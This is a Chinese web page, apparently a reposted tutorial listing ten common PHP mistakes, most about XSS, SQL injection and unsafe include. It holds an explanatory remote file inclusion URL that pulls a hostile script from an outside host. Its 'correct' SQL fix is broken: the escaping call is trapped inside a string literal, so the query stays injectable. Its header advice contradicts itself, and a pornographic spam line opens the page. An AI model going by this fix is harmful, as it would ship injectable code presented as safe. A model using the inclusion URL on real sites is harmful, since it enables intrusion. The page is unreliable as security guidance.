欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP程序員編程注意事項

 更新時間:2008年04月10日 23:11:34   作者:  
PHP程序員最易犯10種錯誤所以下面的好多都是我們需要注意的地方PHP是個偉大的web開發(fā)語言,靈活的語言,但是看到php程序員周而復(fù)始的犯的一些錯誤。我做了下面這個列表,列出了PHP程序員經(jīng)常犯的10中錯誤,大多數(shù)和安全相關(guān)。看看你犯了幾種
1.不轉(zhuǎn)意html entities 
  一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數(shù)據(jù)) ,輸出之前都要轉(zhuǎn)意。 echo $_GET['usename'] ;
這個例子有可能輸出:
<script>/*更改admin密碼的腳本或設(shè)置cookie的腳本*/</script>
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。
如何修復(fù) :
我們需要將"< ",">","and" 等轉(zhuǎn)換成正確的HTML表示(< , >', and "),函數(shù)htmlspecialchars 和 htmlentities()正是干這個活的。
正確的方法: 
復(fù)制代碼 代碼如下:

echo htmlspecialchars($_GET['username'], ENT_QUOTES); 


2. 不轉(zhuǎn)意SQL輸入
我曾經(jīng)在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法 。有人對我說,他們已經(jīng)在php.ini中將magic_quotes設(shè)置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的!
如何修復(fù):

和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數(shù) 正確做法:
復(fù)制代碼 代碼如下:

<?php 
$sql = "Update users SET 
name='.mysql_real_escape_string($name).' 
Where id='.mysql_real_escape_string ($id).'"; 
mysql_query($sql); 
?> 


3.錯誤的使用HTTP-header 相關(guān)的函數(shù): header(), session_start(), setcookie()
遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....]

每次從服務(wù)器下載一個網(wǎng)頁的時候,服務(wù)器的輸出都分成兩個部分:頭部和正文。
頭部包含了一些非可視的數(shù)據(jù),例如cookie。頭部總是先到達。正文部分包括可視的html,圖片等數(shù)據(jù)。
如果output_buffering設(shè)置為Off,所有的HTTP-header相關(guān)的函數(shù)必須在有輸出之前調(diào)用。問題在于你在一個環(huán)境中開發(fā),而在部署到另一個環(huán)境中去的時候,output_buffering的設(shè)置可能不一樣。結(jié)果轉(zhuǎn)向停止了,cookie和session都沒有正確的設(shè)置........。

如何修復(fù):
確保在輸出之前調(diào)用http-header相關(guān)的函數(shù),并且令output_buffering = Off
。

4. Require 或 include 的文件使用不安全的數(shù)據(jù)
再次強調(diào):不要相信不是你自己顯式聲明的數(shù)據(jù)。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。

例如:
index.php
復(fù)制代碼 代碼如下:

<? 
//including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?> 


現(xiàn)在任一個黑客現(xiàn)在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
來獲取你的機密信息,或執(zhí)行一個PHP腳本。 
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
現(xiàn)在你的網(wǎng)頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以發(fā)送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。
如何修復(fù):
你必須自己控制哪些文件可以包含在的include或require指令中。

下面是一個快速但不全面的解決方法:
復(fù)制代碼 代碼如下:

<? 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET['filename'],$allowedFiles)) { 
include($_GET['filename']); 

else{ 
exit('not allowed'); 

?> 



5. 語法錯誤
語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!

6.很少使用或不用面向?qū)ο?
很多的項目都沒有使用PHP的面向?qū)ο蠹夹g(shù),結(jié)果就是代碼的維護變得非常耗時耗力。PHP支持的面向?qū)ο蠹夹g(shù)越來越多,越來越好,我們沒有理由不使用面向?qū)ο蟆?

7. 不使用framework
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現(xiàn)在有很多MVC的框架來幫我們完成這四件事,我們?yōu)楹尾皇褂盟麄兡兀?

8. 不知道PHP中已經(jīng)有的功能
PHP的核心包含很多功能。很多程序員重復(fù)的發(fā)明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發(fā)現(xiàn)!PHP中的exec()是一個強大的函數(shù),可以執(zhí)行cmd shell,并把執(zhí)行結(jié)果的最后一行以字符串的形式返回??紤]到安全可以使用EscapeShellCmd() 

9.使用舊版本的PHP

很多程序員還在使用PHP4,在PHP4上開發(fā)不能充分發(fā)揮PHP的潛能,還存在一些安全的隱患。轉(zhuǎn)到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據(jù)http://www.nexen.net的調(diào)查 只有12%的PHP服務(wù)器使用PHP5,所以有88%的PHP開發(fā)者還在使用PHP4.

10.對引號做兩次轉(zhuǎn)意

見過網(wǎng)頁中出現(xiàn)\'或\'"嗎?這通常是因為在開發(fā)者的環(huán)境中magic_quotes 設(shè)置為off,而在部署的服務(wù)器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數(shù)據(jù)上重復(fù)運行addslashes() 。
原始文本:
It's a string

magic quotes on :
It\'s a string
又運行一次
addslashes():
It\\'s a string

HTML輸出:
It\'s a string

還有一種情況就是,用戶一開始輸入了錯誤的登錄信息,服務(wù)器檢測到錯誤輸入后,輸出同樣的form要求用戶再次輸入,導(dǎo)致用戶的輸入轉(zhuǎn)意兩次!

相關(guān)文章

  • PHP微信模板消息操作示例

    PHP微信模板消息操作示例

    這篇文章主要介紹了PHP微信模板消息操作方法,結(jié)合實例形式分析了php模板消息的定義與調(diào)用方法,需要的朋友可以參考下
    2017-06-06
  • PHP代碼重構(gòu)方法漫談

    PHP代碼重構(gòu)方法漫談

    這篇文章主要介紹了PHP代碼重構(gòu)方法,結(jié)合實例形式較為詳細的分析了php代碼重構(gòu)的概念、原理、相關(guān)實現(xiàn)技巧與注意事項,需要的朋友可以參考下
    2018-04-04
  • PHP 單引號與雙引號的區(qū)別

    PHP 單引號與雙引號的區(qū)別

    看好多代碼有時候用單引號或雙引號實現(xiàn)包含字符串的內(nèi)容,其實簡單個概括下雙引號中的變量可以解析,單引號就是絕對的字符串。
    2009-11-11
  • ie與session丟失(新窗口cookie丟失)實測及解決方案

    ie與session丟失(新窗口cookie丟失)實測及解決方案

    正如標題所言測試結(jié)果為:如果cookie設(shè)置是延后定時失效,而非進程級的,那在open后也能看到,所以,針對此情況,防止用戶在使用ie內(nèi)核出現(xiàn)登錄狀態(tài)丟失,可以配合cookie來使用
    2013-07-07
  • PHP Session_Regenerate_ID函數(shù)雙釋放內(nèi)存破壞漏洞

    PHP Session_Regenerate_ID函數(shù)雙釋放內(nèi)存破壞漏洞

    PHP Session_Regenerate_ID函數(shù)存在雙釋放內(nèi)容破壞問題,遠程攻擊者可利用此漏洞對應(yīng)用程序進行拒絕服務(wù)攻擊,可能導(dǎo)致任意指令執(zhí)行。
    2011-01-01
  • php使用sql server驗證連接數(shù)據(jù)庫的方法

    php使用sql server驗證連接數(shù)據(jù)庫的方法

    這篇文章主要介紹了php使用sql server驗證連接數(shù)據(jù)庫的方法,以實例形式分析了php采用基于SQL Server驗證進行數(shù)據(jù)庫連接的原理及技巧,并總結(jié)了相關(guān)注意事項,需要的朋友可以參考下
    2014-12-12
  • php上傳大文件失敗的原因及應(yīng)對策略

    php上傳大文件失敗的原因及應(yīng)對策略

    這篇文章主要介紹了php上傳大文件失敗的原因及應(yīng)對策略的相關(guān)資料,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2015-10-10
  • php的chr和ord函數(shù)實現(xiàn)字符加減乘除運算實現(xiàn)代碼

    php的chr和ord函數(shù)實現(xiàn)字符加減乘除運算實現(xiàn)代碼

    這兩個函數(shù)到底有什么用呢? 用來做字符加減運算最合適了. 普通的字符是無法做加減運算指向下一個字符的. 而轉(zhuǎn)成ASCII后就可以做加減乘除了. 處理好后再轉(zhuǎn)成字符就可以了. 目前的很多字符串加密,解密都用到此功能!
    2011-12-12
  • 淺談PHP7中的一些小技巧

    淺談PHP7中的一些小技巧

    PHP7顯著提高了整體性能。實際上主要的特性有null合并運算符或返回類型聲明。如果你不知道它們,那么你應(yīng)該去查看PHP文檔。這里有一些很少人知道的、可能有用的特性。
    2021-05-05
  • CI框架源碼閱讀,系統(tǒng)常量文件constants.php的配置

    CI框架源碼閱讀,系統(tǒng)常量文件constants.php的配置

    CI框架源碼閱讀,系統(tǒng)常量文件constants.php的配置,需要的朋友可以參考一下
    2013-02-02

最新評論